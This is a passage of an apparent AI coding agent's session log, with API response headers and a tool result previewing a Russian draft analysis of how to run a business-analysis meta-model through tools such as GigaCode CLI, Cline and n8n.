\"no-cache\",\n[2026-09-29T07:44:35.211Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:44:35.219Z] [STDOUT]     \"cf-ray\": \"a4295d02a8754d8b-FRA\",\n[2026-09-29T07:44:35.225Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:44:35.234Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:44:35.246Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:44:35.257Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:44:35.269Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:44:34 GMT\",\n[2026-09-29T07:44:35.278Z] [STDOUT]     \"request-id\": \"req_011CfXMgzbd7kwZRJVEot1qg\",\n[2026-09-29T07:44:35.287Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:44:35.300Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:44:35.310Z] [STDOUT]     traceresponse: \"00-a1d869ca60f2dee37b3de475a7a53b04-b3810c702757c436-01\",\n[2026-09-29T07:44:35.332Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:44:35.349Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:44:35.357Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:44:35.369Z] [STDOUT]   },\n[2026-09-29T07:44:35.372Z] [STDOUT]   durationMs: 820,\n[2026-09-29T07:44:35.375Z] [STDOUT] }\n[2026-09-29T07:44:35.377Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:44:35.387Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:44:34 GMT\",\n[2026-09-29T07:44:35.390Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:44:35.403Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:44:35.406Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:44:35.408Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:44:35.420Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:44:35.426Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:44:35.436Z] [STDOUT]   \"vary\": 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\"tool_result\",\n[2026-09-29T07:44:36.574Z] [INFO]         \"content\": \"\\nOutput too large (75.2KB). Full output saved to: /home/box/.claude/projects/-tmp-gh-issue-solver-1790667776920/f0ddf6ec-4316-44b3-b0ba-14367918e3de/tool-results/b7ejdco20.txt\\n\\nPreview (first 2KB):\\n---\\nstatus: draft\\nversion: 0.1\\nupdated: 2026-09-29\\ntemperature: 0.1\\ntype: analysis\\nscope: mango-only\\nsource: \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/639\\\"\\nbased_on: \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/ba-meta-model\\\"\\nrelated_artifacts:\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/643#issuecomment-5884160620\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/experiments/issue_639_runner_probes.py\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-018-gigacode-cli-execution-boundary.md\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/615\\\"\\n---\\n\\n# \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u2192 \u0441\u0440\u0435\u0434\u044b \u2192 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b: \u043a\u0430\u043a \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u0435\u0435 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c BA-\u043f\u0440\u043e\u0446\u0435\u0441\u0441\\n\\n\u042d\u0442\u043e\u0442 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0440\u0430\u0441\u0448\u0438\u0440\u044f\u0435\u0442 \u0430\u0443\u0434\u0438\u0442\\n[issue #639](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/639)\\n\u043f\u043e [\u0437\u0430\u043c\u0435\u0447\u0430\u043d\u0438\u044e \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/643#issuecomment-5884160620):\\nCline \u0432 \u0437\u0430\u0434\u0430\u0447\u0435 \u0431\u044b\u043b \u043f\u0440\u0438\u043c\u0435\u0440\u043e\u043c, \u0430 \u043d\u0435 \u0433\u0440\u0430\u043d\u0438\u0446\u0435\u0439. \u0413\u0440\u0430\u043d\u0438\u0446\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u2014 Source\\n\u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0438 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0430, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0435\u0451 \u0440\u0430\u0437\u0432\u043e\u0440\u0430\u0447\u0438\u0432\u0430\u044e\u0442 \u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442 \u0434\u043b\u044f\\n\u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u0411\u0410-\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432. \u041f\u0443\u0442\u044c \u0440\u0430\u0437\u0431\u043e\u0440\u0430: \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u2192 \u0441\u0440\u0435\u0434\u044b (\u0430\u0433\u0435\u043d\u0442,\\n\u043a\u043b\u0438\u0435\u043d\u0442, \u043c\u043e\u0434\u0435\u043b\u044c, \u0447\u0435\u043b\u043e\u0432\u0435\u043a) \u2192 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430.\\n\u041f\u0435\u0440\u0432\u0430\u044f \u0447\u0430\u0441\u0442\u044c \u0430\u0443\u0434\u0438\u0442\u0430 \u2014 \u0440\u0430\u0437\u0431\u043e\u0440 \u043f\u0430\u043a\u0435\u0442\u0430 Cline, \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u044b \u0413-01\u2026\u0413-25 \u2014 \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0432\\n\u0441\u0438\u043b\u0435 \u043a\u0430\u043a \u0440\u0430\u0437\u0431\u043e\u0440 \u043e\u0434\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u044b:\\n[\u00ab\u0420\u0430\u0437\u0440\u044b\u0432 \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u0439 \u0438 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438: \u043f\u0430\u043a\u0435\u0442 Cline VS Code\u00bb](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md).\\n\u0417\u0434\u0435\u0441\u044c \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u044b \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e\u0442 \u043d\u0443\u043c\u0435\u0440\u0430\u0446\u0438\u044e \u0441 \u0413-26.\\n\\n## \u0412\u0435\u0440\u0434\u0438\u043a\u0442\\n\\n...\\n\",\n[2026-09-29T07:44:36.574Z] [INFO]         \"is_error\": false\n[2026-09-29T07:44:36.574Z] [INFO]       }\n[2026-09-29T07:44:36.574Z] [INFO]     ]\n[2026-09-29T07:44:36.574Z] [INFO]   },\n[2026-09-29T07:44:36.574Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:44:36.574Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:36.574Z] [INFO]   \"uuid\": \"96112096-0f8b-4056-81a8-873658f0da52\",\n[2026-09-29T07:44:36.574Z] [INFO]   \"timestamp\": \"2026-09-29T07:44:36.559Z\",\n[2026-09-29T07:44:36.574Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:44:36.574Z] [INFO]     \"stdout\": \"---\\nstatus: draft\\nversion: 0.1\\nupdated: 2026-09-29\\ntemperature: 0.1\\ntype: analysis\\nscope: mango-only\\nsource: \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/639\\\"\\nbased_on: \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/ba-meta-model\\\"\\nrelated_artifacts:\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/643#issuecomment-5884160620\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/experiments/issue_639_runner_probes.py\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-018-gigacode-cli-execution-boundary.md\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/615\\\"\\n---\\n\\n# \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u2192 \u0441\u0440\u0435\u0434\u044b \u2192 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b: \u043a\u0430\u043a \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u0435\u0435 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c BA-\u043f\u0440\u043e\u0446\u0435\u0441\u0441\\n\\n\u042d\u0442\u043e\u0442 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0440\u0430\u0441\u0448\u0438\u0440\u044f\u0435\u0442 \u0430\u0443\u0434\u0438\u0442\\n[issue #639](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/639)\\n\u043f\u043e [\u0437\u0430\u043c\u0435\u0447\u0430\u043d\u0438\u044e \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/643#issuecomment-5884160620):\\nCline \u0432 \u0437\u0430\u0434\u0430\u0447\u0435 \u0431\u044b\u043b \u043f\u0440\u0438\u043c\u0435\u0440\u043e\u043c, \u0430 \u043d\u0435 \u0433\u0440\u0430\u043d\u0438\u0446\u0435\u0439. \u0413\u0440\u0430\u043d\u0438\u0446\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u2014 Source\\n\u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0438 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0430, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0435\u0451 \u0440\u0430\u0437\u0432\u043e\u0440\u0430\u0447\u0438\u0432\u0430\u044e\u0442 \u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442 \u0434\u043b\u044f\\n\u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u0411\u0410-\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432. \u041f\u0443\u0442\u044c \u0440\u0430\u0437\u0431\u043e\u0440\u0430: \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u2192 \u0441\u0440\u0435\u0434\u044b (\u0430\u0433\u0435\u043d\u0442,\\n\u043a\u043b\u0438\u0435\u043d\u0442, \u043c\u043e\u0434\u0435\u043b\u044c, \u0447\u0435\u043b\u043e\u0432\u0435\u043a) \u2192 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430.\\n\u041f\u0435\u0440\u0432\u0430\u044f \u0447\u0430\u0441\u0442\u044c \u0430\u0443\u0434\u0438\u0442\u0430 \u2014 \u0440\u0430\u0437\u0431\u043e\u0440 \u043f\u0430\u043a\u0435\u0442\u0430 Cline, \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u044b \u0413-01\u2026\u0413-25 \u2014 \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0432\\n\u0441\u0438\u043b\u0435 \u043a\u0430\u043a \u0440\u0430\u0437\u0431\u043e\u0440 \u043e\u0434\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u044b:\\n[\u00ab\u0420\u0430\u0437\u0440\u044b\u0432 \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u0439 \u0438 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438: \u043f\u0430\u043a\u0435\u0442 Cline VS Code\u00bb](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md).\\n\u0417\u0434\u0435\u0441\u044c \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u044b \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e\u0442 \u043d\u0443\u043c\u0435\u0440\u0430\u0446\u0438\u044e \u0441 \u0413-26.\\n\\n## \u0412\u0435\u0440\u0434\u0438\u043a\u0442\\n\\n**\u0413\u043b\u0430\u0432\u043d\u044b\u0439 \u0440\u0430\u0437\u0440\u044b\u0432 \u043b\u0435\u0436\u0438\u0442 \u043d\u0435 \u0432 Cline \u0438 \u043d\u0435 \u0432 \u043c\u043e\u0434\u0435\u043b\u0438, \u0430 \u0432 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438: \u0443 \u0440\u043e\u043b\u0438\\n\u00ab\u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u00bb \u043d\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f.** \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u043f\u043e\u0440\u0443\u0447\u0430\u0435\u0442 \u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0443 \u0447\u0438\u0442\u0430\u0442\u044c\\n\u0433\u0440\u0430\u0444 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 \u0438 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043b\u0438\u0441\u0442 \u043f\u0440\u043e\u0433\u043e\u043d\u0430, \u043d\u043e \u0441\u0440\u0435\u0434\u0438 \u043e\u0434\u0438\u043d\u043d\u0430\u0434\u0446\u0430\u0442\u0438 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0435\u0439\\n\u0435\u0433\u043e \u043d\u0435\u0442, \u0430 `Actor` \u2014 \u044d\u0442\u043e \u0430\u0433\u0435\u043d\u0442 \u0438\u043b\u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u043a ([\u0413-26](#\u0433-26)). \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0432\\n\u043a\u0430\u0436\u0434\u043e\u0439 \u0441\u0440\u0435\u0434\u0435 \u044d\u0442\u0443 \u0440\u043e\u043b\u044c \u043c\u043e\u043b\u0447\u0430 \u0432\u0437\u044f\u043b \u043d\u0430 \u0441\u0435\u0431\u044f \u043a\u0442\u043e-\u0442\u043e \u0434\u0440\u0443\u0433\u043e\u0439: \u0432 GigaCode CLI \u2014\\n\u0440\u0443\u043a\u0438 \u0411\u0410, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043d\u0430\u0431\u0438\u0440\u0430\u0435\u0442 \u043a\u0430\u0436\u0434\u0443\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430; \u0432 Cline \u2014 \u043c\u043e\u0434\u0435\u043b\u044c, \u043a\u043e\u0442\u043e\u0440\u0430\u044f\\n\u0447\u0438\u0442\u0430\u0435\u0442 \u0442\u0435\u043a\u0441\u0442 \u043f\u0440\u0430\u0432\u0438\u043b. \u041e\u0442\u0441\u044e\u0434\u0430 \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0435 \u0440\u0430\u0437\u0440\u044b\u0432\u044b: \u0443\u0441\u043b\u043e\u0432\u0438\u044f \u0432\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u044f \u0438\u0437 YAML\\n\u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u044e\u0442\u0441\u044f ([\u0413-28](#\u0433-28)), \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0448\u0430\u0433\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043f\u0430\u043a\u0435\u0442, \u0430 \u043d\u0435\\n\u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0448\u0430\u0433\u0430 ([\u0413-29](#\u0433-29)), \u043f\u0440\u043e\u0433\u043e\u043d \u043d\u0435\u043b\u044c\u0437\u044f \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0438\u0442\u044c \u043f\u043e\u0441\u043b\u0435 \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u044f\\n\u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430 ([\u0413-31](#\u0433-31)), \u0430 \u043e\u0434\u043d\u0430 \u043e\u043f\u0435\u0447\u0430\u0442\u043a\u0430 \u0432 \u043a\u043e\u043c\u0430\u043d\u0434\u0435 \u043d\u0430\u0432\u0441\u0435\u0433\u0434\u0430 \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u0435\u0442\\n\u0437\u0430\u0434\u0430\u0447\u0443 ([\u0413-32](#\u0433-32)).\\n\\n**\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u2014 \u0434\u0432\u0430 \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u043d\u0430 \u043e\u0434\u043d\u043e\u043c \u044f\u0434\u0440\u0435.**\\n\\n1. **\u0420\u0430\u0431\u043e\u0447\u0435\u0435 \u043c\u0435\u0441\u0442\u043e \u0411\u0410 (\u0441\u0440\u0435\u0434\u044b 1 \u0438 2).** \u041f\u0440\u0435\u0432\u0440\u0430\u0442\u0438\u0442\u044c `tools/run-task` \u0438\u0437\\n   \u043f\u0440\u0438\u0432\u0440\u0430\u0442\u043d\u0438\u043a\u0430 \u0432 \u0432\u0435\u0434\u0443\u0449\u0435\u0433\u043e: runner \u0441\u0430\u043c \u0447\u0438\u0442\u0430\u0435\u0442 \u0433\u0440\u0430\u0444 \u0438 \u0443\u0441\u043b\u043e\u0432\u0438\u044f \u0438\u0437 Source,\\n   \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0432\u044b\u0445\u043e\u0434 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0443\u0437\u043b\u0430, \u0443\u043c\u0435\u0435\u0442 \u0436\u0434\u0430\u0442\u044c \u0438 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0442\u044c, \u0430 \u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441\\n   \u00ab\u0447\u0442\u043e \u0434\u0430\u043b\u044c\u0448\u0435\u00bb \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u043c \u044f\u0437\u044b\u043a\u043e\u043c. GigaCode CLI \u0438 Cline \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f\\n   \u0442\u0435\u043c, \u0447\u0435\u043c \u043e\u043d\u0438 \u0441\u0438\u043b\u044c\u043d\u044b, \u2014 \u043c\u0435\u0441\u0442\u043e\u043c, \u0433\u0434\u0435 \u043c\u043e\u0434\u0435\u043b\u044c \u043f\u0438\u0448\u0435\u0442 \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a. \u0420\u0435\u0448\u0435\u043d\u0438\u0435 \u043d\u0435\\n   \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043d\u043e\u0432\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0438 \u043f\u0435\u0440\u0435\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 Source, \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440,\\n   \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u044b \u0438 \u0442\u0435\u0441\u0442\u044b ([\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f 1](#\u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f-1-\u0440\u0430\u0431\u043e\u0447\u0435\u0435-\u043c\u0435\u0441\u0442\u043e-\u0431\u0430)).\\n2. **\u0421\u0435\u0440\u0432\u0435\u0440\u043d\u0430\u044f \u0441\u0440\u0435\u0434\u0430 4.** \u0422\u043e \u0436\u0435 \u044f\u0434\u0440\u043e runner \u043a\u0430\u043a \u0441\u043b\u0443\u0436\u0431\u0430: \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0438 \u0436\u0443\u0440\u043d\u0430\u043b\\n   \u0432 Postgres, \u0432\u044b\u0437\u043e\u0432 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0430 \u043a\u0430\u0436\u0434\u043e\u043c \u0448\u0430\u0433\u0435, \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u0435\\n   \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430 \u0447\u0435\u0440\u0435\u0437 \u0447\u0430\u0442 \u0438\u043b\u0438 \u0444\u043e\u0440\u043c\u0443, \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u0435 \u043e\u0442\u0432\u0435\u0442\u0430 \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430 \u0434\u043d\u044f\u043c\u0438. \u0414\u0432\u0438\u0436\u043e\u043a \u2014\\n   \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0439 \u0430\u0432\u0442\u043e\u043c\u0430\u0442; \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430 LangGraph (MIT) \u2014 \u043a\u043e\u0433\u0434\u0430\\n   \u043f\u043e\u043d\u0430\u0434\u043e\u0431\u044f\u0442\u0441\u044f \u043f\u0430\u0440\u0430\u043b\u043b\u0435\u043b\u044c\u043d\u044b\u0435 \u0432\u0435\u0442\u0432\u0438. \u0418\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0434\u043b\u044f \u0411\u0410 \u2014 \u0442\u043e\u043d\u043a\u0438\u0439 \u043a\u043b\u0438\u0435\u043d\u0442 \u043a API\\n   runner ([\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f 2](#\u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f-2-\u0441\u0435\u0440\u0432\u0435\u0440\u043d\u0430\u044f-\u0441\u0440\u0435\u0434\u0430-4)).\\n\\n**\u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0430 \u043f\u0440\u043e n8n \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0430 \u0447\u0430\u0441\u0442\u0438\u0447\u043d\u043e** ([\u0413-44](#\u0433-44)). n8n \u0445\u043e\u0440\u043e\u0448 \u043a\u0430\u043a\\n\u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0430: \u0444\u043e\u0440\u043c\u044b, \u043f\u0430\u0443\u0437\u044b \u043d\u0430 \u0434\u043d\u0438, \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u044f, Jira, \u0432\u044b\u0437\u043e\u0432 \u043c\u043e\u0434\u0435\u043b\u0438 \u0447\u0435\u0440\u0435\u0437\\nOpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u044b\u0439 \u0430\u0434\u0440\u0435\u0441. \u041a\u0430\u043a \u044f\u0434\u0440\u043e \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 \u043e\u043d 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\u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439\\n2026 \u0433\u043e\u0434\u0430 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0437\u0430\u043a\u0440\u044b\u0442\u043e\u0433\u043e \u043a\u043e\u043d\u0442\u0443\u0440\u0430 \u0438 \u0434\u0438\u0441\u0446\u0438\u043f\u043b\u0438\u043d\u044b \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439. \u0412\\n\u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 2 n8n \u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c \u043a\u0430\u043a \u0441\u043b\u043e\u0439 \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u0439 \u043f\u043e\u0432\u0435\u0440\u0445 API runner, \u043d\u043e \u043d\u0435\\n\u0432\u043c\u0435\u0441\u0442\u043e \u043d\u0435\u0433\u043e.\\n\\n## \u041a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u0438 \u043e\u0445\u0432\u0430\u0442\\n\\n- **\u0427\u0442\u043e \u0440\u0430\u0437\u0431\u0438\u0440\u0430\u0435\u0442\u0441\u044f.** \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c\\n  [`ba-meta-model/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/ba-meta-model)\\n  \u043a\u0430\u043a \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f; \u0434\u0432\u0430 \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043f\u0430\u043a\u0435\u0442\u0430 \u2014\\n  [GigaCode CLI](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/dist/execution-package-gigacode-cli)\\n  \u0438\\n  [Cline VS Code](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/dist/execution-package-cline-vscode);\\n  \u0441\u0440\u0435\u0434\u044b 1\u20134 \u0438\u0437\\n  [issue #615](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/615)\\n  \u0438 [ADR-019](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md#L92-L96);\\n  \u0432\u043d\u0435\u0448\u043d\u0438\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0437\u0430\u043f\u0443\u0441\u043a\u0430: n8n, LangGraph, Temporal, Dify, Flowise,\\n  Windmill, Kestra, Prefect, Camunda, Operaton, \u0447\u0430\u0442-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u044b \u0438 \u043a\u043b\u0438\u0435\u043d\u0442\u044b\\n  \u043d\u0430 \u0440\u0430\u0431\u043e\u0447\u0435\u043c \u043c\u0435\u0441\u0442\u0435.\\n- **\u0427\u0442\u043e \u043d\u0435 \u0440\u0430\u0437\u0431\u0438\u0440\u0430\u0435\u0442\u0441\u044f.** \u0421\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f 